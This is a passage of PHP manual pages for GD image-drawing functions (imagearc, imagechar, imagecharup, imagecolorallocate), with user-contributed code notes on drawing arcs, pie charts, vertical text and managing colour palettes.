        $ix = $xrel + $ix;
        $iy = $yrel + $iy;
    }

    $ix = floor($ix);
    $iy = floor($iy);
    //echo ($ix . " $iy<br>");
    $returnvals = array (
                        'x1' => $xrel,
                        'y1' => $yrel,
                        'x2' => $ix,
                        'y2' => $iy
                        );
    return $returnvals;
}

function get_degtotal($degindex)
{
    global $deg;
    if ($degindex == 0 ) {
       return (  $deg[$degindex] );
    }
    else {
        return ( $deg[$degindex] + get_degtotal($degindex-1) );
    }
}

$im  = imagecreate (400, 400);
$w   = imagecolorallocate ($im, 255, 255, 255);
$black   = imagecolorallocate ($im, 0, 0, 0);
$red = imagecolorallocate ($im, 255, 0, 0);
$green = imagecolorallocate ($im, 0, 180, 0);

$randcolor[0] = imagecolorallocate($im, 243, 54, 163);
$randcolor[1] = imagecolorallocate($im, 179, 51, 247);
$randcolor[2] = imagecolorallocate($im, 103, 48, 250);
$randcolor[3] = imagecolorallocate($im, 53, 145, 244);
$randcolor[4] = imagecolorallocate($im, 54, 243, 243);
$randcolor[5] = imagecolorallocate($im, 107, 245, 180);
$randcolor[6] = imagecolorallocate($im, 203, 242, 111);
$randcolor[7] = imagecolorallocate($im, 248, 201, 105);

$data[0] = 30;
$data[1] = 20;
$data[2] = 15;
$data[3] = 10;
$data[4] = 8;
$data[5] = 7;
$data[6] = 5;
$data[7] = 5;

$datasum = array_sum($data);

$deg[0] = number_format((30 / $datasum * 360), 2, ".", "");
$deg[1] = number_format((20 / $datasum * 360), 2, ".", "");
$deg[2] = number_format((15 / $datasum * 360), 2, ".", "");
$deg[3] = number_format((10 / $datasum * 360), 2, ".", "");
$deg[4] = number_format((8 / $datasum * 360), 2, ".", "");
$deg[5] = number_format((7 / $datasum * 360), 2, ".", "");
$deg[6] = number_format((5 / $datasum * 360), 2, ".", "");
$deg[7] = number_format((5 / $datasum * 360), 2, ".", "");
echo ('<pre>');

//print_r($deg);

$datadeg = array();
$datapol = array();
$degbetween = array();
$databetweenpol = array();

for ($i=0; $i < count($deg) ; $i++) {
    $datadeg[$i] = get_degtotal($i);
    $datapol[$i] = get_polar(200, 200, $datadeg[$i], 100);
}

for ($i=0; $i < count($datadeg) ; $i++) {
    /*this is a trick where you take 2deg angle before
    and get the smaller radius so that you can have a pt to
    `imagefill` the chartboundary
    */
    $degbetween[$i] = ($datadeg[$i]-2);
    $databetweenpol[$i] = get_polar(200, 200, $degbetween[$i], 50);
}

print_r($datadeg);
print_r($degbetween);
print_r($databetweenpol);
//exit;

for ($i=0; $i<count($deg); $i++) {
    imageline ($im, 200, 200, $datapol[$i]['x2'], $datapol[$i]['y2'], $black);
}
imagearc($im, 200, 200, 200, 200, 0, 360, $black);

for ($i=0; $i<count($deg); $i++) {
    imagefill ($im, $databetweenpol[$i]['x2'], $databetweenpol[$i]['y2'], $randcolor[$i]);

}

//header ("Content-type: image/png");
imagepng($im, 'piechart.png');
?>
<img src='piechart.png'>
jerryscript at aol dot com 26-Dec-2003 11:05
[note-Apache/1.3.29 (Win32) PHP/4.3.4]

The imagearc (and imageellipse) functions do not accept line thicknesses when drawn from 0 to 360 degrees.

Drawing from 0 to 359 and again from 359 to 360 does create an ellipse with the current line thickness.

Jerry
eamon at hostelworld dot com 17-Dec-2003 04:24
Right...
possibly the easiest way of drawing a filled circle:
Loop through the imagearc function incrementing the diameter by one pixel:
<?
 // --- code fragment --- //

for($i=1; $i<$Diameter; $i++){
  imagearc($Image, $CenterX, $CenterY, $i, $i, $Start, $End, $Color);
}

// --------------------- //

?>

This works great for circles with diameters up to about 60 or 70 pixels wide. After that, you start to get pixle gaps.
logang at deltatee dot com 05-Aug-2003 05:19
Heres a function to make a curve between two points... This will be a downward curve but it wouldn't be hard to make a similar function to make an upward curve. The first point has to be to the left of the second point ($x1 < $x2), and height is actually backwards. The larger height is the less of a crest the curve has. I imagine with a few modifications this functions could make upward curves as well.

function ImageCurveDown ($image, $x1, $y1, $x2, $y2, $height, $color) {
    $presicion = 1;

    for ($left = ($x1-$x2); $left < 0; $left++){
        if ($y1 < $y2) {
            $cy = $y2 + $height;
            $cx = $x1 - $left;
        } else {
            $cy = $y1 + $height;
            $cx = $x2 + $left;
        }
        $nx1 = abs($x1 - $cx);
        $ny1 = abs($y1 - $cy);
        $nx2 = abs($x2 - $cx);
        $ny2 = abs($y2 - $cy);

        if ($y1 < $y2) {
            if ($nx2 == 0 || $ny1 == 0) continue;
            $angle1 = atan($height/$nx2);
            $A1 = $nx2/cos ($angle1);
            $B1 = $ny2/sin ($angle1);
            $angle2 = pi()/2 +atan($left/$ny1);
            $A2 = $nx1/cos ($angle2);
            $B2 = $ny1/sin ($angle2);
        } else {
            if ($ny2 == 0 || $nx1 == 0) continue;
            $angle1 = atan($ny2/$nx2);
            $A1 = abs($nx2/cos ($angle1));
            $B1 = abs($ny2/sin ($angle1));
            $angle2 = atan($height/$nx1);
            $A2 = abs ($nx1/cos ($angle2));
            $B2 = abs($ny1/sin ($angle2));
        }

        if (abs($A1 - $A2) < $presicion && abs ($B1 - $B2) < $presicion) {
            ImageArc($image, $cx, $cy, $A1*2, $B1*2, 180+rad2deg($angle2), 360-rad2deg($angle1), $color);
        }
    }
}
23-Jan-2003 05:55
Please note that in order to draw a complete circle or ellipse (without using the imageellipse) you mustn't use 0� for both s and e. If you do this you will get, umm, nothing. Instead set s to 0� and e to 360� to get a complete circle or ellipse.
jinny at 263 dot net 14-May-2002 07:27
imagesetstyle() sets the style to be used by all line drawing functions when drawing with the special color .

Here goes a example of drawing a dashed-line circle.enjoy!

<?php

header("Content-type: image/jpeg");
$im = imagecreate(100,100);

$b   = imagecolorallocate ($im, 0, 0, 0);
$w   = imagecolorallocate ($im, 255, 255, 255);

$style = array ($b,$b,$b,$b,$b,$w,$w,$w,$w,$w);

imagesetstyle ($im, $style);

imagearc($im,50,50,100,100,0,360,IMG_COLOR_STYLED);

imagejpeg($im);
imagedestroy($im);
?>
arve at skogvold dot as 30-Nov-2001 10:04
I found a better way for drawing a pie chart:

header ("Content-type: image/png");
$diameter = 100;
$radius = $diameter / 2;
$centerX = $radius;
$centerY = $radius;

$im = @ImageCreate ($diameter, $diameter)
    or die ("Cannot Initialize new GD image stream");

$background = ImageColorAllocate ($im, 0, 0, 0);
$red = ImageColorAllocate ($im, 176, 0, 0);

function fill_arc($start, $end, $color) {
    global $diameter, $centerX, $centerY, $im, $radius;
    imagearc($im, $centerX, $centerY, $diameter, $diameter, $start, $end, $color);
    imageline($im, $centerX, $centerY, $centerX + cos(deg2rad($start)) * $radius, $centerY + sin(deg2rad($start)) * $radius, $color);
    imageline($im, $centerX, $centerY, $centerX + cos(deg2rad($end)) * $radius, $centerY + sin(deg2rad($end)) * $radius, $color);
    imagefill ($im,$centerX + $radius * 0.5 *cos(deg2rad($start+($end-$start)/2)), $centerY + $radius * 0.5 * sin(deg2rad($start+($end-$start)/2)), $color);
    }

fill_arc(0,30,$red);
// Will make a red filled arc, starting at 0 degrees, ending at 30 degrees

ImagePng ($im);
marc at resiteit dot com 08-Nov-2001 10:04
Round cornered anti-aliased dynamically sized button.

$w=40;
$h=20;
$im = ImageCreate($w,$h);
$white=ImageColorAllocate($im,255,255,255);
ImageFilledRectangle($im,0,0,$w,$h,$white);
imagecolortransparent ($im, $white);
ImageTTFText ($im, $h+ceil($h/3)+1, 0, -1, $h-1, $col1, "arialbd.ttf", "O");
ImageTTFText ($im, $h+ceil($h/3)+1, 0, $w-$h, $h-1, $col1, "arialbd.ttf", "O");
ImageTTFText ($im, $h+ceil($h/3)+1, 0, 1, $h-1, $col1, "arialbd.ttf", "O");
ImageTTFText ($im, $h+ceil($h/3)+1, 0, $w-$h-2, $h-1, $col1, "arialbd.ttf", "O");
$points=array(
    1,round($h/2),
    round($h/4),$h-round($h/4),
    round($h/2),$h,
    $w-(round($h/2)),$h,
    $w-(round($h/4)),$h-round($h/4),
    $w-2,round($h/2),
    $w-round($h/4),round($h/4),
    $w-round($h/2),0,
    round($h/2),0,
    round($h/4),round($h/4)
);
imagefilledpolygon ($im, $points, 10, $col1);

header("content-type: image/gif");
header("Content-Disposition: filename=name.gif");
ImageGif($im);
ImageDestroy($im);
foripepe at yahoo dot com 02-Sep-2001 06:56
To fill an arc (DiameterX != DiameterY):

<?
function imagefilledarc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color) {
    // To draw the arc
    imagearc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color);
    // To close the arc with 2 lines between the center and the 2 limits of the arc
    $x = $CenterX + (cos(deg2rad($Start))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($Start))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
    $x = $CenterX + (cos(deg2rad($End))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($End))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
    // To fill the arc, the starting point is a point in the middle of the closed space
    $x = $CenterX + (cos(deg2rad(($Start+$End)/2))*($DiameterX/4));
    $y = $CenterY + (sin(deg2rad(($Start+$End)/2))*($DiameterY/4));
    imagefilltoborder($Image, $x, $y, $Color, $Color);
}
?>

To close the arc with 2 lines (DiameterX != DiameterY):

<?
function imagenofilledarc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color) {
    // To draw the arc
    imagearc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color);
    // To close the arc with 2 lines between the center and the 2 limits of the arc
    $x = $CenterX + (cos(deg2rad($Start))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($Start))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
    $x = $CenterX + (cos(deg2rad($End))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($End))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
}
?>

An example:
<?
    $destImage = imagecreate( 216, 152 );
    $c0 = imagecolorallocate( $destImage, 0, 255, 255 );
    $c1 = imagecolorallocate( $destImage, 0, 0, 0 );
    $c2 = imagecolorallocate( $destImage, 255, 0, 0 );
    ImageFilledRectangle ( $destImage, 0, 0, 216, 152, $c0 );
    imagefilledarc( $destImage, 108, 76, 180, 80, 0, 130, $c1 );
    imagenofilledarc( $destImage, 108, 76, 180, 80, 0, 130, $c2 );
    header("content-type: image/PNG");
    ImagePNG( $destImage );
    ImageDestroy( $destImage );
?>
09-Apr-2001 07:37
The following site contains heaps of different functions to draw graphs with easy to follow code for newbies and heaps of examples with OVER 60 different predefined graphs
http://www.aditus.nu/jpgraph/index.php
nojer2 at yahoo dot com 01-Apr-2001 11:18
Here's a dashed circle function:

<?php
function dashedcircle($im, $cx, $cy, $radius, $colour, $dashsize=5) {

   $dash=false;
   for ($angle=0; $angle<=(180+$dashsize); $angle+=$dashsize) {
      $x = ($radius * cos(deg2rad($angle)));
      $y = ($radius * sin(deg2rad($angle)));

      if ($dash) {
         imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         imageline($im, $cx-$px, $cx-$py, $cx-$x, $cy-$y, $colour);
      }
      $dash=!$dash;
      $px=$x;
      $py=$y;
   }
}
?>
nojer2 at yahoo dot com 01-Apr-2001 11:06
Here's the function to draw rotated ellipses again. This time I've optimised it a bit, fixed the no-fill bug, and used a 'squishratio' rather than a 'radiusmodifier', to make the curves perfect, so ignore my previous version.

<?php
function rotatedellipse($im, $cx, $cy, $width, $height, $rotateangle, $colour, $filled=true) {
   $step=2;
   $cosangle=cos(deg2rad($rotateangle));
   $sinangle=sin(deg2rad($rotateangle));

   $squishratio = $height/$width;
   $nopreviouspoint = true;
   for ($angle=0; $angle<=(180+$step); $angle+=$step) {

      $ox = ($width * cos(deg2rad($angle)));
      $oy = ($width * sin(deg2rad($angle))) * $squishratio;

      $x =  + (($ox * $cosangle) - ($oy * $sinangle));
      $y = $centrey + (($ox * $sinangle) + ($oy * $cosangle));

      if ($nopreviouspoint) {
        $px=$x;
        $py=$y;
        $nopreviouspoint=false;
      }

      if ($filled) {
         triangle($im, $cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         triangle($im, $cx, $cy, $cx-$px, $cx-$py, $cx-$x, $cy-$y, $colour);
      } else {
         imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         imageline($im, $cx-$px, $cx-$py, $cx-$x, $cy-$y, $colour);
      }
      $px=$x;
      $py=$y;
   }
}

function triangle($im, $x1,$y1, $x2,$y2, $x3,$y3, $colour) {
   $coords = array($x1,$y1, $x2,$y2, $x3,$y3);
   imagefilledpolygon($im, $coords, 3, $colour);
}
?>
ericquil at yahoo dot com 29-Sep-2000 01:30
If circles overlap, a temporary border is needed when filling:
<?php
ImageArc ($im,$x,$y,$w,$h,0,360,$temp_color);
ImageFillToBorder($im,$x,$y,$temp_color,$fill_color);
ImageArc ($im,$x,$y,$w,$h,0,360,$fill_color);
?>
cbriou at orange-art dot fr 18-Sep-2000 04:03
There is another way to fill an arc :

<?php
// To draw the arc
$Color = imagecolorallocate($Image, $Red, $Green, $Blue);
imagearc($Image, $CenterX, $CenterY, $Diameter, $Diameter, $Start, $End, $Color);
// To close the arc with 2 lines between the center and the 2 limits of the arc
$x = $CenterX + (cos(deg2rad($Start))*($Diameter/2));
$y = $CenterY + (sin(deg2rad($Start))*($Diameter/2));
imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
$x = $CenterX + (cos(deg2rad($End))*($Diameter/2));
$y = $CenterY + (sin(deg2rad($End))*($Diameter/2));
imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
// To fill the arc, the starting point is a point in the middle of the closed space
$x = $CenterX + (cos(deg2rad(($Start+$End)/2))*($Diameter/4));
$y = $CenterY + (sin(deg2rad(($Start+$End)/2))*($Diameter/4));
imagefilltoborder($Image, $x, $y, $Color, $Color);
?>
timothyhouck at yahoo dot com 17-Aug-2000 12:58
To do filled arcs, try something like this:

<?php
$diameter = 50;
imagearc($image, 25, 25, $diameter, $diameter, $start, $end, $color);
while($diameter > 0) {
  imagearc($image, 25, 25, $diameter, $diameter, $start, $start + 1, $color);
  imagearc($image, 25, 25, $diameter, $diameter, $end - 1, $end, $color);
  $diameter--;
}
?>

...well you get the point.  It's a kludge, and *very* slow, but it's free.
travis at duluth dot com 23-Dec-1999 03:36
The wierd thing is that the first two integers tell where to place the "circle".
So for example I first create the "pallet" to place the circle on.
$image = imagecreate(500, 500);
(this makes a huge 500x500 gif :) )
$colorBody = imagecolorallocate($image, 0, 0, 0);
(make the default color of the "pallet" black
$circleColor = imagecolorallocate($image, 255, 0, 255);
(going to make the circle an ugly pink color)
imagearc($image, 250, 250, 300, 300, 0, 360, $circleColor);
Places the image in the center (250,250) and the circle is 300 pixels in diameter.

Hope this helps.

Travis Kent Beste


Draw a character horizontally

  • « imagearc
  • imagecharup »
  • PHP Manual
  • GD and Image Functions
  • Draw a character horizontally

imagechar

(PHP 4, PHP 5)

imagechar — Draw a character horizontally

Description

bool imagechar ( resource $image , int $font , int $x , int $y , string $c , int $color )

imagechar() draws the first character of c in the image identified by image with its upper-left at x,y (top left is 0, 0) with the color color.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

font

Can be 1, 2, 3, 4, 5 for built-in fonts in latin2 encoding (where higher numbers corresponding to larger fonts) or any of your own font identifiers registered with imageloadfont().

x

x-coordinate of the start.

y

y-coordinate of the start.

c

The character to draw.

color

A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagechar() example

<?php

$im = imagecreate(100, 100);

$string = 'PHP';

$bg = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

// prints a black "P" in the top left corner
imagechar($im, 1, 0, 0, $string, $black);

header('Content-type: image/png');
imagepng($im);

?>

The above example will output something similar to:

Output of example : imagechar()

See Also

  • imagecharup() - Draw a character vertically
  • imageloadfont() - Load a new font

User Contributed Notes

liam dot wiltshire at lineone dot net 30-Mar-2009 12:11
A quick function to automatically generate a multi line image from a string, with the image size automatically calculated from the string itself.

<?php

function multilineimage($string){

    // Probably not the best way of handling newlines, but bar OS9, doesn't really cause a problem
    $string = str_replace("\r","",$string);
    $string = explode("\n",$string);

    $maxlen = 0;
    foreach ($string as $str){
        if (strlen($str) > $maxlen){
            $maxlen = strlen($str);
        }
    }

    // Set font size
    $font_size = 4;

    // Create image width dependant on width of the string
    $width  = imagefontwidth($font_size)*$maxlen;
    // Set height to that of the font
    $height = imagefontheight($font_size) * count($string);
    // Create the image pallette
    $img = imagecreate($width,$height);
    // Grey background
    $bg    = imagecolorallocate($img, 205, 255, 255);
    // White font color
    $color = imagecolorallocate($img, 0, 0, 0);

    $ypos = 0;

    foreach ($string as $str){

        $len = strlen($str);
        for($i=0;$i<$len;$i++){
            // Position of the character horizontally
            $xpos = $i * imagefontwidth($font_size);
            // Draw character
            imagechar($img, $font_size, $xpos, $ypos, $str, $color);
            // Remove character from string
            $str = substr($str, 1);
        }
        $ypos = $ypos + imagefontheight($font_size);
    }

    // Return the image
    header("Content-Type: image/gif");
    imagegif($img);
    // Remove image
    imagedestroy($img);
}

multilineimage("This is an image
This is line 2\nLine 3
Line 4");

?>
sw at profilschmiede dot de 20-Jun-2005 05:35
For the sake of completeness, here is an example for imagechar.
The base-image automatically adjusts to the size and the height of the given string. Using the rand()-function the y-position of each char is slightly varied with every loop-run. You can easily rewrite the script to use a randomly generated string - the one given here just serves as an example.

<?php

$string = '1 2 3 4 5 6 7 8 9 A B C D E F G';
$font_size = 5;
$width=imagefontwidth($font_size)*strlen($string);
$height=imagefontheight($font_size)*2;
$img = imagecreate($width,$height);
$bg = imagecolorallocate($img,225,225,225);
$black = imagecolorallocate($img,0,0,0);
$len=strlen($string);

for($i=0;$i<$len;$i++)
{
    $xpos=$i*imagefontwidth($font_size);
    $ypos=rand(0,imagefontheight($font_size));
    imagechar($img,$font_size,$xpos,$ypos,$string,$black);
    $string = substr($string,1);

}
header("Content-Type: image/gif");
imagegif($img);
imagedestroy($img);
?>


Draw a character vertically

  • « imagechar
  • imagecolorallocate »
  • PHP Manual
  • GD and Image Functions
  • Draw a character vertically

imagecharup

(PHP 4, PHP 5)

imagecharup — Draw a character vertically

Description

bool imagecharup ( resource $image , int $font , int $x , int $y , string $c , int $color )

Draws the character c vertically at the specified coordinate on the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

font

Can be 1, 2, 3, 4, 5 for built-in fonts in latin2 encoding (where higher numbers corresponding to larger fonts) or any of your own font identifiers registered with imageloadfont().

x

x-coordinate of the start.

y

y-coordinate of the start.

c

The character to draw.

color

A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagecharup() example

<?php

$im = imagecreate(100, 100);

$string = 'Note that the first letter is a N';

$bg = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

// prints a black "Z" on a white background
imagecharup($im, 3, 10, 10, $string, $black);

header('Content-type: image/png');
imagepng($im);

?>

The above example will output something similar to:

Output of example : imagecharup()

See Also

  • imagechar() - Draw a character horizontally
  • imageloadfont() - Load a new font

User Contributed Notes

evolution at turkishboyz dot net 26-Feb-2006 11:33
<?
$resim = imagecreatetruecolor(400,400);
$renk1 = imagecolorallocate($resim,222,222,222);
$renk2 = imagecolorallocate($resim,111,111,111);
$renk3 = imagecolorallocate($resim,123,123,123);
$yazi  = "Merhaba Dunyalilar";
$x     =strlen($yazi);
for($a=1;$a<=$x;$a++){
    imagecharup($resim,10,20,20*$a,$yazi,$renk2);
    $yazi = substr($yazi,1);
    }
imagejpeg($resim);
imagedestroy($resim);
?>
jansafar at volny dot cz 02-Dec-2005 07:18
I'm using imagestringup() function to write text upwards.
php at corzoogle dot com 17-Jun-2005 01:28
<?php
// incredibly, no one has added this.
// write a string of text vertically on an image..
// ;o)

$string = '(c) corz.org';
$font_size = 2;
$img = imagecreate(20,90);
$bg = imagecolorallocate($img,225,225,225);
$black = imagecolorallocate($img,0,0,0);

$len = strlen($string);
for ($i=1; $i<=$len; $i++) {
    imagecharup($img, $font_size, 5, imagesy($img)-($i*imagefontwidth($font_size)), $string, $black);
    $string = substr($string,1);
}
header('Content-type: image/png');
imagepng($img);
imagedestroy($img); // dudes! don't forget this!
?>


Allocate a color for an image

  • « imagecharup
  • imagecolorallocatealpha »
  • PHP Manual
  • GD and Image Functions
  • Allocate a color for an image

imagecolorallocate

(PHP 4, PHP 5)

imagecolorallocate — Allocate a color for an image

Description

int imagecolorallocate ( resource $image , int $red , int $green , int $blue )

Returns a color identifier representing the color composed of the given RGB components.

imagecolorallocate() must be called to create each color that is to be used in the image represented by image.

Note:

The first call to imagecolorallocate() fills the background color in palette-based images - images created using imagecreate().

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

These parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF.

Return Values

A color identifier or FALSE if the allocation failed.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Changelog

Version | Description
5.1.3 | Returns FALSE if the allocation failed. Previously -1 was returned.

Examples

Example #1 imagecolorallocate() example

<?php

$im = imagecreate(100, 100);

// sets background to red
$background = imagecolorallocate($im, 255, 0, 0);

// sets some colors
$white = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

// hexadecimal way
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
$black = imagecolorallocate($im, 0x00, 0x00, 0x00);

?>

See Also

  • imagecolorallocatealpha() - Allocate a color for an image
  • imagecolordeallocate() - De-allocate a color for an image

User Contributed Notes

phillip dot gooch at gmail dot com 09-Dec-2010 04:52
If you even in a situation where it's not allocating the color you want it could be because of your images color allocation table. GIF and 8-bit PNG images are very susceptible to this.

If your using an GIF and PNG try dropping a color from the table, should let you allocate another.
jahservant 13 at gmail dot com 25-Nov-2009 01:55
Note that you can only assign 255 colors to any image palette.  If you try assigning more, imagecolorallocate() will fail.

If, for example, you are randomly allocating colors, it will be wise to check if you have used up all of the colors possible.  You can use imagecolorclosest() to get the closest assigned color:
<?php
     //assign random rgb values
     $c1 = mt_rand(50,200); //r(ed)
     $c2 = mt_rand(50,200); //g(reen)
     $c3 = mt_rand(50,200); //b(lue)
     //test if we have used up palette
     if(imagecolorstotal($pic)>=255) {
          //palette used up; pick closest assigned color
          $color = imagecolorclosest($pic, $c1, $c2, $c3);
     } else {
          //palette NOT used up; assign new color
          $color = imagecolorallocate($pic, $c1, $c2, $c3);
     }
?>

Also, imagecolorallocate() will assign a new color EVERY time the function is called, even if the color already exists in the palette:
<?php
     // [...]
     imagecolorallocate($pic,125,125,125); //returns 5
     imagecolorallocate($pic,125,125,125); //returns 6
     imagecolorallocate($pic,125,125,125); //returns 7
     // [...]
     imagecolorallocate($pic,125,125,125); //returns 23
     imagecolorallocate($pic,125,125,125); //returns 25
     // [...]
     // etc...
?>

So here, imagecolorexact() is useful:
<?php
     //see if color already exists
     $color = imagecolorexact($pic, $c1, $c2, $c3);
     if($color==-1) {
          //color does not exist; allocate a new one
          $color = imagecolorallocate($pic, $c1, $c2, $c3);
     }
?>

And, for nerdy-ness sake, we can put the two ideas together:
<?php
     //assign random rgb values
     $c1 = mt_rand(50,200); //r(ed)
     $c2 = mt_rand(50,200); //g(reen)
     $c3 = mt_rand(50,200); //b(lue)
     //get color from palette
     $color = imagecolorexact($pic, $c1, $c2, $c3);
     if($color==-1) {
          //color does not exist...
          //test if we have used up palette
          if(imagecolorstotal($pic)>=255) {
               //palette used up; pick closest assigned color
               $color = imagecolorclosest($pic, $c1, $c2, $c3);
          } else {
               //palette NOT used up; assign new color
               $color = imagecolorallocate($pic, $c1, $c2, $c3);
          }
     }
?>

Or as a function:
<?php
     function createcolor($pic,$c1,$c2,$c3) {
          //get color from palette
          $color = imagecolorexact($pic, $c1, $c2, $c3);
          if($color==-1) {
               //color does not exist...
               //test if we have used up palette
               if(imagecolorstotal($pic)>=255) {
                    //palette used up; pick closest assigned color
                    $color = imagecolorclosest($pic, $c1, $c2, $c3);
               } else {
                    //palette NOT used up; assign new color
                    $color = imagecolorallocate($pic, $c1, $c2, $c3);
               }
          }
          return $color;
     }

     for($i=0; $i<1000; $i++) { //1000 because it is significantly greater than 255
          //assign random rgb values
          $c1 = mt_rand(50,200); //r(ed)
          $c2 = mt_rand(50,200); //g(reen)
          $c3 = mt_rand(50,200); //b(lue)
          //generate the color
          $color = createcolor($pic,$c1,$c2,$c3);
          //do something with color...
     }
?>
Ludo 24-Oct-2007 11:35
When working on an existant GIF images, if the number of different colours has reached the limits of the GIF format, imagecolorallocate will not use to the colour you ask her within the parameters, she will apply black !

That's a problem when generating images "on-the-fly" with many manipulations, from a GIF image.
To go round the problem, you have to convert the GIF image into a PNG one, and then you can work on the PNG and everything will be ok.

For example :
<?php
// first, convert into a PNG image
$handle = imagecreatefromgif('my_image.gif');
imagepng($handle, 'my_image.png');
imagedestroy($handle);

// then, you can work on it
$handle = imagecreatefrompng('my_image.png');
/*
* work on the image
*/
imagegif($handle);
?>
William Barath 29-Sep-2007 01:15
Lots of hsv2rgb commentary but no working example, so here's mine:

<?php // hsv2rgb example translated from ImageMagick C code
function hsv2rgb($h, $s, $v)
{
    $s /= 256.0;
    if ($s == 0.0) return array($v,$v,$v);
    $h /= (256.0 / 6.0);
    $i = floor($h);
    $f = $h - $i;
    $p = (integer)($v * (1.0 - $s));
    $q = (integer)($v * (1.0 - $s * $f));
    $t = (integer)($v * (1.0 - $s * (1.0 - $f)));
    switch($i) {
    case 0: return array($v,$t,$p);
    case 1: return array($q,$v,$p);
    case 2: return array($p,$v,$t);
    case 3: return array($p,$q,$v);
    case 4: return array($t,$p,$v);
    default: return array($v,$p,$q);
    }
}

$image = ImageCreateTrueColor(256,128);
for ($y=0; $y<64; $y++) for($x=0; $x<256; $x++){
    list($r,$g,$b) = hsv2rgb($x | 7,255,($y*4) |7);
    $color = ($r << 16 ) | ($g << 8) | $b;
    imagesetpixel($image, $x, $y-4, $color);
}
for ($y=64; $y<128; $y++) for($x=0; $x<256; $x++){
    list($r,$g,$b) = hsv2rgb($x|7,((127-$y)*4)|7,255);
    $color = ($r << 16) | ($g << 8) | $b;
    imagesetpixel($image, $x, $y-4, $color);
}
for ($y=120; $y<128; $y++) for($x=0; $x<256; $x++){
    $color = (($x |7) << 16) | (($x |7) << 8) | ($x |7);
    imagesetpixel($image, $x, $y, $color);
}
header("Content-Type: image/png");
imagepng($image);
?>
picklecj at rose-hulman dot edu 13-Jun-2007 05:15
Another solution to color limitation issues when creating gradients. This file takes width (px) and left and right colors (hex) and makes a gradient while only allocating 250 colors.

<?php
$leftR = hexdec(substr($_GET["left"],0,2));
$leftG = hexdec(substr($_GET["left"],2,2));
$leftB = hexdec(substr($_GET["left"],4,2));
$rightR = hexdec(substr($_GET["right"],0,2));
$rightG = hexdec(substr($_GET["right"],2,2));
$rightB = hexdec(substr($_GET["right"],4,2));
$image=imagecreate($_GET["width"],1);
for($i=0;$i<250;$i++) {
    $colorset[$i] = imagecolorallocate($image, $leftR + ($i*(($rightR-$leftR)/250)), $leftG + ($i*(($rightG-$leftG)/250)), $leftB + ($i*(($rightB-$leftB)/250)));
}
for($i=0;$i<($_GET["width"]);$i++) {
  imagesetpixel ($image, $i, 0, $colorset[(int)($i/($_GET["width"]/250))] );
}
header("Content-type: image/png");
imagepng($image);
imagedestroy($image);
?>

example: gradient.php?width=640&left=000000&right=FF0000

Makes a 640px-wide image that fades from black to red.
behun at webconsult dot sk 27-Aug-2006 10:56
Also, when you need more then 256 colors, use imagecreatetruecolor function. With this function you can use unlimited number of colors.
SW 13-Jan-2006 11:00
This works! A Black-Image with vertical centered white Aliased Arial-Text and same left and right margin - used for Menu-Buttons.

<?php

  function createImgText ($string="", $fontsize=0, $marginX=0, $imgH=0 , $fontfile="", $imgColorHex="", $txtColorHex=""){
    if($string!=""){
        Header("Content-type: image/png");
        //
        $spacing = 0;
          $line = array("linespacing" => $spacing);
        $box = @imageftbbox($fontsize,0,$fontfile,$string,$line)
        or die("ERROR");
        $tw=$box[4]-$box[0]; //image width
        $marginY = $imgH - (($imgH - $fontsize) / 2);
        $imgWidth = $tw + (2*$marginX);
        $im = ImageCreate($imgWidth, $imgH);
        $int = hexdec($imgColorHex);
        $arr = array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
        $black = ImageColorAllocate($im, $arr["red"], $arr["green"], $arr["blue"]);
        $int = hexdec($txtColorHex);
        $arr = array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
        $white = ImageColorAllocate($im, $arr["red"], $arr["green"], $arr["blue"]);
        ImageFtText($im, $fontsize, 0, $marginX, $marginY, $white, $fontfile, $string, array());
        ImagePng($im);
        ImageDestroy($im);
    }else{
        echo "ERROR!";
    }
}
createImgText ("Hello World", 9, 10, 18, "arial.ttf", "000000", "FFFFFF");
?>
mlse 15-Nov-2005 10:49
Another more general variation on the theme using the same naming conventions as the hexdec and dechex built-in functions ...

Prototype:

array hexrgb ( string hex_string )

Returns:

An associative array of the RGB components specified in hex_string.

hexrgb() example:

<?php
$rgb = hexrgb("0xAABBCC");
print_r($rgb);
?>

Output is:

Array
(
  [red] => 170
  [green] => 187
  [blue] => 204
)

Implementation:

<?php
function hexrgb ($hexstr)
{
